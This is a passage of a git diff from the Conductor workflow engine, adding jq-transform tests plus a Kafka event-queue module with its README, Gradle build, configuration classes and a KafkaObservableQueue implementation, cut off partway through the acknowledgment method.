node.asBoolean(); + } else if (node.isNumber()) { + if (node.isIntegralNumber()) { + return node.asLong(); + } else { + return node.asDouble(); + } + } else { + return node.asText(); + } + } +} diff --git a/json-jq-task/src/test/java/com/netflix/conductor/tasks/json/JsonJqTransformTest.java b/json-jq-task/src/test/java/com/netflix/conductor/tasks/json/JsonJqTransformTest.java new file mode 100644 index 0000000..8b43ad6 --- /dev/null +++ b/json-jq-task/src/test/java/com/netflix/conductor/tasks/json/JsonJqTransformTest.java @@ -0,0 +1,193 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.tasks.json; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.Test; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.*; + +public class JsonJqTransformTest { + + private final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + @Test + public void dataShouldBeCorrectlySelected() { + final JsonJqTransform jsonJqTransform = new JsonJqTransform(objectMapper); + final WorkflowModel workflow = new WorkflowModel(); + final TaskModel task = new TaskModel(); + final Map inputData = new HashMap<>(); + inputData.put("queryExpression", ".inputJson.key[0]"); + final Map inputJson = new HashMap<>(); + inputJson.put("key", Collections.singletonList("VALUE")); + inputData.put("inputJson", inputJson); + task.setInputData(inputData); + task.setOutputData(new HashMap<>()); + + jsonJqTransform.start(workflow, task, null); + + assertNull(task.getOutputData().get("error")); + assertEquals("VALUE", task.getOutputData().get("result").toString()); + List resultList = (List) task.getOutputData().get("resultList"); + assertEquals(1, resultList.size()); + assertEquals("VALUE", resultList.get(0)); + } + + @Test + public void simpleErrorShouldBeDisplayed() { + final JsonJqTransform jsonJqTransform = new JsonJqTransform(objectMapper); + final WorkflowModel workflow = new WorkflowModel(); + final TaskModel task = new TaskModel(); + final Map inputData = new HashMap<>(); + inputData.put("queryExpression", "{"); + task.setInputData(inputData); + task.setOutputData(new HashMap<>()); + + jsonJqTransform.start(workflow, task, null); + + assertTrue( + ((String) task.getOutputData().get("error")) + .startsWith("Encountered \"\" at line 1, column 1.")); + } + + @Test + public void nestedExceptionsWithNACausesShouldBeDisregarded() { + final JsonJqTransform jsonJqTransform = new JsonJqTransform(objectMapper); + final WorkflowModel workflow = new WorkflowModel(); + final TaskModel task = new TaskModel(); + final Map inputData = new HashMap<>(); + inputData.put( + "queryExpression", + "{officeID: (.inputJson.OIDs | unique)[], requestedIndicatorList: .inputJson.requestedindicatorList}"); + final Map inputJson = new HashMap<>(); + inputJson.put("OIDs", Collections.singletonList("VALUE")); + final Map indicatorList = new HashMap<>(); + indicatorList.put("indicator", "AFA"); + indicatorList.put("value", false); + inputJson.put("requestedindicatorList", Collections.singletonList(indicatorList)); + inputData.put("inputJson", inputJson); + task.setInputData(inputData); + task.setOutputData(new HashMap<>()); + + jsonJqTransform.start(workflow, task, null); + + assertTrue( + ((String) task.getOutputData().get("error")) + .startsWith("Encountered \" \"[\" \"[ \"\" at line 1")); + } + + @Test + public void mapResultShouldBeCorrectlyExtracted() { + final JsonJqTransform jsonJqTransform = new JsonJqTransform(objectMapper); + final WorkflowModel workflow = new WorkflowModel(); + final TaskModel task = new TaskModel(); + final Map taskInput = new HashMap<>(); + Map inputData = new HashMap<>(); + inputData.put("method", "POST"); + inputData.put("successExpression", null); + inputData.put("requestTransform", "{name: (.body.name + \" you are a \" + .body.title) }"); + inputData.put("responseTransform", "{result: \"reply: \" + .response.body.message}"); + taskInput.put("input", inputData); + taskInput.put( + "queryExpression", + "{ requestTransform: .input.requestTransform // \".body\" , responseTransform: .input.responseTransform // \".response.body\", method: .input.method // \"GET\", document: .input.document // \"rgt_results\", successExpression: .input.successExpression // \"true\" }"); + task.setInputData(taskInput); + task.setOutputData(new HashMap<>()); + + jsonJqTransform.start(workflow, task, null); + + assertNull(task.getOutputData().get("error")); + assertTrue(task.getOutputData().get("result") instanceof Map); + HashMap result = + (HashMap) task.getOutputData().get("result"); + assertEquals("POST", result.get("method")); + assertEquals( + "{name: (.body.name + \" you are a \" + .body.title) }", + result.get("requestTransform")); + assertEquals( + "{result: \"reply: \" + .response.body.message}", result.get("responseTransform")); + List resultList = (List) task.getOutputData().get("resultList"); + assertTrue(resultList.get(0) instanceof Map); + } + + @Test + public void stringResultShouldBeCorrectlyExtracted() { + final JsonJqTransform jsonJqTransform = new JsonJqTransform(objectMapper); + final WorkflowModel workflow = new WorkflowModel(); + final TaskModel task = new TaskModel(); + final Map taskInput = new HashMap<>(); + taskInput.put("data", new ArrayList<>()); + taskInput.put( + "queryExpression", "if(.data | length >0) then \"EXISTS\" else \"CREATE\" end"); + + task.setInputData(taskInput); + + jsonJqTransform.start(workflow, task, null); + + assertNull(task.getOutputData().get("error")); + assertTrue(task.getOutputData().get("result") instanceof String); + String result = (String) task.getOutputData().get("result"); + assertEquals("CREATE", result); + } + + @SuppressWarnings("unchecked") + @Test + public void listResultShouldBeCorrectlyExtracted() throws JsonProcessingException { + final JsonJqTransform jsonJqTransform = new JsonJqTransform(objectMapper); + final WorkflowModel workflow = new WorkflowModel(); + final TaskModel task = new TaskModel(); + String json = + "{ \"request\": { \"transitions\": [ { \"name\": \"redeliver\" }, { \"name\": \"redeliver_from_validation_error\" }, { \"name\": \"redelivery\" } ] } }"; + Map inputData = objectMapper.readValue(json, Map.class); + + final Map taskInput = new HashMap<>(); + taskInput.put("inputData", inputData); + taskInput.put("queryExpression", ".inputData.request.transitions | map(.name)"); + + task.setInputData(taskInput); + + jsonJqTransform.start(workflow, task, null); + + assertNull(task.getOutputData().get("error")); + assertTrue(task.getOutputData().get("result") instanceof List); + List result = (List) task.getOutputData().get("result"); + assertEquals(3, result.size()); + } + + @Test + public void nullResultShouldBeCorrectlyExtracted() throws JsonProcessingException { + final JsonJqTransform jsonJqTransform = new JsonJqTransform(objectMapper); + final WorkflowModel workflow = new WorkflowModel(); + final TaskModel task = new TaskModel(); + final Map taskInput = new HashMap<>(); + taskInput.put("queryExpression", "null"); + task.setInputData(taskInput); + + jsonJqTransform.start(workflow, task, null); + + assertNull(task.getOutputData().get("error")); + assertNull(task.getOutputData().get("result")); + } +} diff --git a/kafka-event-queue/README.md b/kafka-event-queue/README.md new file mode 100644 index 0000000..5c9e717 --- /dev/null +++ b/kafka-event-queue/README.md @@ -0,0 +1,133 @@ +# Event Queue + +## Published Artifacts + +Group: `com.netflix.conductor` + +| Published Artifact | Description | +| ----------- | ----------- | +| conductor-kafka-event-queue | Support for integration with Kafka and consume events from it. | + +## Modules + +### Kafka + +https://kafka.apache.org/ + +## kafka-event-queue + +Provides ability to consume messages from Kafka. + +## Usage + +To use it in an event handler prefix the event with `kafka` followed by the topic. + +Example: + +```json +{ + "name": "kafka_test_event_handler", + "event": "kafka:conductor-event", + "actions": [ + { + "action": "start_workflow", + "start_workflow": { + "name": "workflow_triggered_by_kafka", + "input": { + "payload": "${payload}" + } + }, + "expandInlineJSON": true + } + ], + "active": true +} +``` + +The data from the kafka event has the format: + +```json +{ + "key": "key-1", + "headers": { + "header-1": "value1" + }, + "payload": { + "first": "Marcelo", + "middle": "Billie", + "last": "Mertz" + } +} +``` + +* `key` is the key field in Kafka message. +* `headers` is the headers in the kafka message. +* `payload` is the message of the Kafka message. + +To access them in the event handler use for example `"${payload}"` to access the payload property, which contains the kafka message data. + +## Configuration + +To enable the queue use set the following to true. + +```properties +conductor.event-queues.kafka.enabled=true +``` + +There are is a set of shared properties these are: + +```properties +# If kafka should be used with event queues like SQS or AMPQ +conductor.default-event-queue.type=kafka + +# the bootstrap server ot use. +conductor.event-queues.kafka.bootstrap-servers=kafka:29092 + +# The dead letter queue to use for events that had some error. +conductor.event-queues.kafka.dlq-topic=conductor-dlq + +# topic prefix combined with conductor.default-event-queue.type +conductor.event-queues.kafka.listener-queue-prefix=conductor_ + +# The polling duration. Start at 500ms and reduce based on how your environment behaves. +conductor.event-queues.kafka.poll-time-duration=500ms +``` + +There are 3 clients that should be configured, there is the Consumer, responsible to consuming messages, Publisher that publishes messages to Kafka and the Admin which handles admin operations. + +The supported properties for the 3 clients are the ones included in `org.apache.kafka:kafka-clients:3.5.1` for each client type. + +## Consumer properties + +Example of consumer settings. + +```properties +conductor.event-queues.kafka.consumer.client.id=consumer-client +conductor.event-queues.kafka.consumer.auto.offset.reset=earliest +conductor.event-queues.kafka.consumer.enable.auto.commit=false +conductor.event-queues.kafka.consumer.fetch.min.bytes=1 +conductor.event-queues.kafka.consumer.max.poll.records=500 +conductor.event-queues.kafka.consumer.group-id=conductor-group +``` + +## Producer properties + +Example of producer settings. + +```properties +conductor.event-queues.kafka.producer.client.id=producer-client +conductor.event-queues.kafka.producer.acks=all +conductor.event-queues.kafka.producer.retries=5 +conductor.event-queues.kafka.producer.batch.size=16384 +conductor.event-queues.kafka.producer.linger.ms=10 +conductor.event-queues.kafka.producer.compression.type=gzip +``` + +## Admin properties + +Example of admin settings. + +```properties +conductor.event-queues.kafka.admin.client.id=admin-client +conductor.event-queues.kafka.admin.connections.max.idle.ms=10000 +``` diff --git a/kafka-event-queue/build.gradle b/kafka-event-queue/build.gradle new file mode 100644 index 0000000..29439fa --- /dev/null +++ b/kafka-event-queue/build.gradle @@ -0,0 +1,44 @@ +dependencies { + // Core Conductor dependencies + implementation project(':conductor-common') + implementation project(':conductor-core') + + // Spring Boot support + implementation 'org.springframework.boot:spring-boot-starter' + + // Apache Commons Lang for utility classes + implementation 'org.apache.commons:commons-lang3' + + // Reactive programming support with RxJava + implementation "io.reactivex:rxjava:${revRxJava}" + + // SBMTODO: Remove Guava dependency if possible + // Guava should only be included if specifically needed + implementation "com.google.guava:guava:${revGuava}" + + // Removed AWS SQS SDK as we are transitioning to Kafka + // implementation "com.amazonaws:aws-java-sdk-sqs:${revAwsSdk}" + + // Test dependencies + testImplementation 'org.springframework.boot:spring-boot-starter-test' + testImplementation project(':conductor-common').sourceSets.test.output + + + // Add Kafka client dependency + implementation 'org.apache.kafka:kafka-clients:3.5.1' + + // Add SLF4J API for logging + implementation 'org.slf4j:slf4j-api:2.0.9' + + // Add SLF4J binding for logging with Logback + runtimeOnly 'ch.qos.logback:logback-classic:1.5.21' +} + +// test { +// testLogging { +// events "passed", "skipped", "failed" +// showStandardStreams = true // Enable standard output +// } +// } + + diff --git a/kafka-event-queue/src/main/java/com/netflix/conductor/kafkaeq/config/KafkaEventQueueConfiguration.java b/kafka-event-queue/src/main/java/com/netflix/conductor/kafkaeq/config/KafkaEventQueueConfiguration.java new file mode 100644 index 0000000..f2ca28b --- /dev/null +++ b/kafka-event-queue/src/main/java/com/netflix/conductor/kafkaeq/config/KafkaEventQueueConfiguration.java @@ -0,0 +1,109 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.kafkaeq.config; + +import java.util.HashMap; +import java.util.Map; +import java.util.Optional; +import java.util.Properties; + +import org.apache.commons.lang3.StringUtils; +import org.apache.kafka.clients.consumer.ConsumerConfig; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.events.EventQueueProvider; +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.kafkaeq.eventqueue.KafkaObservableQueue.Builder; +import com.netflix.conductor.model.TaskModel.Status; + +@Configuration +@EnableConfigurationProperties(KafkaEventQueueProperties.class) +@ConditionalOnProperty(name = "conductor.event-queues.kafka.enabled", havingValue = "true") +public class KafkaEventQueueConfiguration { + + @Autowired private KafkaEventQueueProperties kafkaProperties; + + private static final Logger LOGGER = + LoggerFactory.getLogger(KafkaEventQueueConfiguration.class); + + public KafkaEventQueueConfiguration(KafkaEventQueueProperties kafkaProperties) { + this.kafkaProperties = kafkaProperties; + } + + @Bean + public EventQueueProvider kafkaEventQueueProvider() { + return new KafkaEventQueueProvider(kafkaProperties); + } + + @ConditionalOnProperty( + name = "conductor.default-event-queue.type", + havingValue = "kafka", + matchIfMissing = false) + @Bean + public Map getQueues( + ConductorProperties conductorProperties, KafkaEventQueueProperties properties) { + try { + + LOGGER.debug( + "Starting to create KafkaObservableQueues with properties: {}", properties); + + String stack = + Optional.ofNullable(conductorProperties.getStack()) + .filter(stackName -> stackName.length() > 0) + .map(stackName -> stackName + "_") + .orElse(""); + + LOGGER.debug("Using stack: {}", stack); + + Status[] statuses = new Status[] {Status.COMPLETED, Status.FAILED}; + Map queues = new HashMap<>(); + + for (Status status : statuses) { + // Log the status being processed + LOGGER.debug("Processing status: {}", status); + + String queuePrefix = + StringUtils.isBlank(properties.getListenerQueuePrefix()) + ? conductorProperties.getAppId() + "_kafka_notify_" + stack + : properties.getListenerQueuePrefix(); + + LOGGER.debug("queuePrefix: {}", queuePrefix); + + String topicName = queuePrefix + status.name(); + + LOGGER.debug("topicName: {}", topicName); + // Create unique overrides + Properties consumerOverrides = new Properties(); + consumerOverrides.put(ConsumerConfig.CLIENT_ID_CONFIG, topicName + "-consumer"); + consumerOverrides.put(ConsumerConfig.GROUP_ID_CONFIG, topicName + "-group"); + + final ObservableQueue queue = + new Builder(properties).build(topicName, consumerOverrides); + queues.put(status, queue); + } + + LOGGER.debug("Successfully created queues: {}", queues); + return queues; + } catch (Exception e) { + LOGGER.error("Failed to create KafkaObservableQueues", e); + throw new RuntimeException("Failed to getQueues on KafkaEventQueueConfiguration", e); + } + } +} diff --git a/kafka-event-queue/src/main/java/com/netflix/conductor/kafkaeq/config/KafkaEventQueueProperties.java b/kafka-event-queue/src/main/java/com/netflix/conductor/kafkaeq/config/KafkaEventQueueProperties.java new file mode 100644 index 0000000..2da3c81 --- /dev/null +++ b/kafka-event-queue/src/main/java/com/netflix/conductor/kafkaeq/config/KafkaEventQueueProperties.java @@ -0,0 +1,186 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.kafkaeq.config; + +import java.time.Duration; +import java.util.HashMap; +import java.util.Map; + +import org.apache.kafka.clients.admin.AdminClientConfig; +import org.apache.kafka.clients.consumer.ConsumerConfig; +import org.apache.kafka.clients.producer.ProducerConfig; +import org.apache.logging.log4j.core.config.plugins.validation.constraints.NotBlank; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.validation.annotation.Validated; + +@ConfigurationProperties("conductor.event-queues.kafka") +@Validated +public class KafkaEventQueueProperties { + + /** Kafka bootstrap servers (comma-separated). */ + @NotBlank(message = "Bootstrap servers must not be blank") + private String bootstrapServers = "kafka:29092"; + + /** Dead Letter Queue (DLQ) topic for failed messages. */ + private String dlqTopic = "conductor-dlq"; + + /** Prefix for dynamically created Kafka topics, if applicable. */ + private String listenerQueuePrefix = ""; + + /** The polling interval for Kafka (in milliseconds). */ + private Duration pollTimeDuration = Duration.ofMillis(100); + + /** Additional properties for consumers, producers, and admin clients. */ + private Map consumer = new HashMap<>(); + + private Map producer = new HashMap<>(); + private Map admin = new HashMap<>(); + + // Getters and setters + public String getBootstrapServers() { + return bootstrapServers; + } + + public void setBootstrapServers(String bootstrapServers) { + this.bootstrapServers = bootstrapServers; + } + + public String getDlqTopic() { + return dlqTopic; + } + + public void setDlqTopic(String dlqTopic) { + this.dlqTopic = dlqTopic; + } + + public String getListenerQueuePrefix() { + return listenerQueuePrefix; + } + + public void setListenerQueuePrefix(String listenerQueuePrefix) { + this.listenerQueuePrefix = listenerQueuePrefix; + } + + public Duration getPollTimeDuration() { + return pollTimeDuration; + } + + public void setPollTimeDuration(Duration pollTimeDuration) { + this.pollTimeDuration = pollTimeDuration; + } + + public Map getConsumer() { + return consumer; + } + + public void setConsumer(Map consumer) { + this.consumer = consumer; + } + + public Map getProducer() { + return producer; + } + + public void setProducer(Map producer) { + this.producer = producer; + } + + public Map getAdmin() { + return admin; + } + + public void setAdmin(Map admin) { + this.admin = admin; + } + + /** + * Generates configuration properties for Kafka consumers. Maps against `ConsumerConfig` keys. + */ + public Map toConsumerConfig() { + Map config = mapProperties(ConsumerConfig.configNames(), consumer); + // Ensure key.deserializer and value.deserializer are always set + setDefaultIfNullOrEmpty( + config, + ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG, + "org.apache.kafka.common.serialization.StringDeserializer"); + setDefaultIfNullOrEmpty( + config, + ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG, + "org.apache.kafka.common.serialization.StringDeserializer"); + + setDefaultIfNullOrEmpty(config, ConsumerConfig.GROUP_ID_CONFIG, "conductor-group"); + setDefaultIfNullOrEmpty(config, ConsumerConfig.CLIENT_ID_CONFIG, "consumer-client"); + return config; + } + + /** + * Generates configuration properties for Kafka producers. Maps against `ProducerConfig` keys. + */ + public Map toProducerConfig() { + Map config = mapProperties(ProducerConfig.configNames(), producer); + setDefaultIfNullOrEmpty( + config, + ProducerConfig.KEY_SERIALIZER_CLASS_CONFIG, + "org.apache.kafka.common.serialization.StringSerializer"); + setDefaultIfNullOrEmpty( + config, + ProducerConfig.VALUE_SERIALIZER_CLASS_CONFIG, + "org.apache.kafka.common.serialization.StringSerializer"); + + setDefaultIfNullOrEmpty(config, ProducerConfig.CLIENT_ID_CONFIG, "admin-client"); + return config; + } + + /** + * Generates configuration properties for Kafka AdminClient. Maps against `AdminClientConfig` + * keys. + */ + public Map toAdminConfig() { + Map config = mapProperties(AdminClientConfig.configNames(), admin); + setDefaultIfNullOrEmpty(config, ConsumerConfig.CLIENT_ID_CONFIG, "admin-client"); + return config; + } + + /** + * Filters and maps properties based on the allowed keys for a specific Kafka client + * configuration. + * + * @param allowedKeys The keys allowed for the specific Kafka client configuration. + * @param inputProperties The user-specified properties to filter. + * @return A filtered map containing only valid properties. + */ + private Map mapProperties( + Iterable allowedKeys, Map inputProperties) { + Map config = new HashMap<>(); + for (String key : allowedKeys) { + if (inputProperties.containsKey(key)) { + config.put(key, inputProperties.get(key)); + } + } + + setDefaultIfNullOrEmpty( + config, AdminClientConfig.BOOTSTRAP_SERVERS_CONFIG, bootstrapServers); // Ensure + // bootstrapServers + // is + // always added + return config; + } + + private void setDefaultIfNullOrEmpty( + Map config, String key, String defaultValue) { + Object value = config.get(key); + if (value == null || (value instanceof String && ((String) value).isBlank())) { + config.put(key, defaultValue); + } + } +} diff --git a/kafka-event-queue/src/main/java/com/netflix/conductor/kafkaeq/config/KafkaEventQueueProvider.java b/kafka-event-queue/src/main/java/com/netflix/conductor/kafkaeq/config/KafkaEventQueueProvider.java new file mode 100644 index 0000000..3f6bc2c --- /dev/null +++ b/kafka-event-queue/src/main/java/com/netflix/conductor/kafkaeq/config/KafkaEventQueueProvider.java @@ -0,0 +1,47 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.kafkaeq.config; + +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.core.events.EventQueueProvider; +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.kafkaeq.eventqueue.KafkaObservableQueue.Builder; + +public class KafkaEventQueueProvider implements EventQueueProvider { + + private static final Logger LOGGER = LoggerFactory.getLogger(KafkaEventQueueProvider.class); + + private final Map queues = new ConcurrentHashMap<>(); + private final KafkaEventQueueProperties properties; + + public KafkaEventQueueProvider(KafkaEventQueueProperties properties) { + this.properties = properties; + } + + @Override + public String getQueueType() { + return "kafka"; + } + + @Override + public ObservableQueue getQueue(String queueURI) { + LOGGER.info("Creating KafkaObservableQueue for topic: {}", queueURI); + + return queues.computeIfAbsent(queueURI, q -> new Builder(properties).build(queueURI, null)); + } +} diff --git a/kafka-event-queue/src/main/java/com/netflix/conductor/kafkaeq/eventqueue/KafkaObservableQueue.java b/kafka-event-queue/src/main/java/com/netflix/conductor/kafkaeq/eventqueue/KafkaObservableQueue.java new file mode 100644 index 0000000..5be73e1 --- /dev/null +++ b/kafka-event-queue/src/main/java/com/netflix/conductor/kafkaeq/eventqueue/KafkaObservableQueue.java @@ -0,0 +1,653 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.kafkaeq.eventqueue; + +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; + +import org.apache.kafka.clients.admin.AdminClient; +import org.apache.kafka.clients.admin.ListOffsetsResult; +import org.apache.kafka.clients.admin.OffsetSpec; +import org.apache.kafka.clients.admin.TopicDescription; +import org.apache.kafka.clients.consumer.*; +import org.apache.kafka.clients.producer.*; +import org.apache.kafka.common.KafkaFuture; +import org.apache.kafka.common.TopicPartition; +import org.apache.kafka.common.TopicPartitionInfo; +import org.apache.kafka.common.header.Header; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.kafkaeq.config.KafkaEventQueueProperties; +import com.netflix.conductor.metrics.Monitors; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import rx.Observable; +import rx.subscriptions.Subscriptions; + +public class KafkaObservableQueue implements ObservableQueue { + + private static final Logger LOGGER = LoggerFactory.getLogger(KafkaObservableQueue.class); + private static final String QUEUE_TYPE = "kafka"; + + private final String topic; + private volatile AdminClient adminClient; + private final Consumer kafkaConsumer; + private final Producer kafkaProducer; + private final long pollTimeInMS; + private final String dlqTopic; + private final boolean autoCommitEnabled; + private final Map unacknowledgedMessages = new ConcurrentHashMap<>(); + private volatile boolean running = false; + private final KafkaEventQueueProperties properties; + private final ObjectMapper objectMapper = new ObjectMapper(); + + public KafkaObservableQueue( + String topic, + Properties consumerConfig, + Properties producerConfig, + Properties adminConfig, + KafkaEventQueueProperties properties) { + this.topic = topic; + this.kafkaConsumer = new KafkaConsumer<>(consumerConfig); + this.kafkaProducer = new KafkaProducer<>(producerConfig); + this.properties = properties; + this.pollTimeInMS = properties.getPollTimeDuration().toMillis(); + this.dlqTopic = properties.getDlqTopic(); + this.autoCommitEnabled = + Boolean.parseBoolean( + consumerConfig + .getOrDefault(ConsumerConfig.ENABLE_AUTO_COMMIT_CONFIG, "false") + .toString()); + + this.adminClient = AdminClient.create(adminConfig); + } + + public KafkaObservableQueue( + String topic, + Consumer kafkaConsumer, + Producer kafkaProducer, + AdminClient adminClient, + KafkaEventQueueProperties properties) { + this.topic = topic; + this.kafkaConsumer = kafkaConsumer; + this.kafkaProducer = kafkaProducer; + this.adminClient = adminClient; + this.properties = properties; + this.pollTimeInMS = properties.getPollTimeDuration().toMillis(); + this.dlqTopic = properties.getDlqTopic(); + this.autoCommitEnabled = + Boolean.parseBoolean( + properties + .toConsumerConfig() + .getOrDefault(ConsumerConfig.ENABLE_AUTO_COMMIT_CONFIG, "false") + .toString()); + } + + @Override + public Observable observe() { + return Observable.create( + subscriber -> { + Observable interval = + Observable.interval(pollTimeInMS, TimeUnit.MILLISECONDS); + + interval.flatMap( + (Long x) -> { + if (!isRunning()) { + return Observable.from(Collections.emptyList()); + } + + try { + ConsumerRecords records = + kafkaConsumer.poll( + this.properties.getPollTimeDuration()); + List messages = new ArrayList<>(); + + for (ConsumerRecord record : records) { + try { + String messageId = + record.partition() + + "-" + + record.offset(); + String key = record.key(); + String value = record.value(); + Map headers = new HashMap<>(); + + // Extract headers + if (record.headers() != null) { + for (Header header : record.headers()) { + headers.put( + header.key(), + new String(header.value())); + } + } + + // Log the details + LOGGER.debug( + "Input values MessageId: {} Key: {} Headers: {} Value: {}", + messageId, + key, + headers, + value); + + // Construct message + String jsonMessage = + constructJsonMessage( + key, headers, value); + LOGGER.debug("Payload: {}", jsonMessage); + + Message message = + new Message( + messageId, jsonMessage, null); + + unacknowledgedMessages.put( + messageId, record.offset()); + messages.add(message); + } catch (Exception e) { + LOGGER.error( + "Failed to process record from Kafka: {}", + record, + e); + } + } + + Monitors.recordEventQueueMessagesProcessed( + QUEUE_TYPE, this.topic, messages.size()); + return Observable.from(messages); + } catch (Exception e) { + LOGGER.error( + "Error while polling Kafka for topic: {}", + topic, + e); + Monitors.recordObservableQMessageReceivedErrors( + QUEUE_TYPE); + return Observable.error(e); + } + }) + .subscribe(subscriber::onNext, subscriber::onError); + + subscriber.add(Subscriptions.create(this::stop)); + }); + } + + private String constructJsonMessage(String key, Map headers, String payload) { + StringBuilder json = new StringBuilder(); + json.append("{"); + json.append("\"key\":\"").append(key != null ? key : "").append("\","); + + // Serialize headers to JSON, handling potential errors + String headersJson = toJson(headers); + if (headersJson != null) { + json.append("\"headers\":").append(headersJson).append(","); + } else { + json.append("\"headers\":{}") + .append(","); // Default to an empty JSON object if headers are invalid + } + + json.append("\"payload\":"); + + // Detect if the payload is valid JSON + if (isJsonValid(payload)) { + json.append(payload); // Embed JSON object directly + } else { + json.append(payload != null ? "\"" + payload + "\"" : "null"); // Treat as plain text + } + + json.append("}"); + return json.toString(); + } + + private boolean isJsonValid(String json) { + if (json == null || json.isEmpty()) { + return false; + } + try { + objectMapper.readTree(json); // Parses the JSON to check validity + return true; + } catch (JsonProcessingException e) { + return false; + } + } + + protected String toJson(Object value) { + if (value == null) { + return null; + } + try { + return objectMapper.writeValueAsString(value); + } catch (JsonProcessingException ex) { + // Log the error and return a placeholder or null + LOGGER.error("Failed to convert object to JSON: {}", value, ex); + return null; + } + } + + @Override + public List ack(List messages) { + // If autocommit is enabled we do not run this code. + if (autoCommitEnabled == true) { + LOGGER.info("Auto commit is enabled. Skipping manual acknowledgment."); + return List.of(); + } + + Map offsetsToCommit = new HashMap<>(); + List failedAcks = new ArrayList<>(); // Collect IDs of failed messages + + for (Message message : messages) { + String messageId = message.getId(); + if (unacknowledgedMessages.containsKey(messageId)) { + try { + String[] parts = messageId.split("-"); + + if (parts.length != 2) { + throw new IllegalArgumentException( + "Invalid message ID format: " + messageId); + } + + // Extract partition and offset from messageId + int partition = Integer.parseInt(parts[0]); + long offset = Long.parseLong(parts[1]); + + // Remove message + unacknowledgedMessages.remove(messageId); + + TopicPartition tp = new TopicPartition(topic, partition); + + LOGGER.debug( + "Parsed messageId: {}, topic: {}, partition: {}, offset: {}", + messageId, + topic, + partition, + offset); + offsetsToCommit.put(tp, new OffsetAndMetadata(offset + 1)); + } catch (Exception e) { + LOGGER.error("Failed to prepare acknowledgment for message: {}", messageId, e); + failedAcks.add(messageId); // Add to failed list if exception occurs + } + } else { + LOGGER.warn("Message ID not found in unacknowledged messages: {}", messageId); + failedAcks.add(messageId); // Add to failed list if not found + } + } + + try { + LOGGER.debug("Committing offsets: {}", offsetsToCommit); + + kafkaConsumer.commitSync(offsetsToCommit); // Commit all collected offsets + } catch (CommitFailedException e) { + LOGGER.warn("Offset commit failed: {}", e.getMessage()); + } catch (OffsetOutOfRangeException e) { + LOGGER.error( + "OffsetOutOfRangeException encountered for topic {}: {}", + e.partitions(), + e.getMessage()); + + // Reset offsets for the out-of-range partition + Map offsetsToReset = new HashMap<>(); + for (TopicPartition partition : e.partitions()) { + long newOffset = + kafkaConsumer.position(partition); // Default to the current position + offsetsToReset.put(partition, new OffsetAndMetadata(newOffset)); + LOGGER.warn("Resetting offset for partition {} to {}", partition, newOffset); + } + + // Commit the new offsets + kafkaConsumer.commitSync(offsetsToReset); + } catch (Exception e) { + LOGGER.error("Failed to commit offsets to Kafka: {}", offsetsToCommit, e); + // Add all message IDs from the current batch to the failed list + 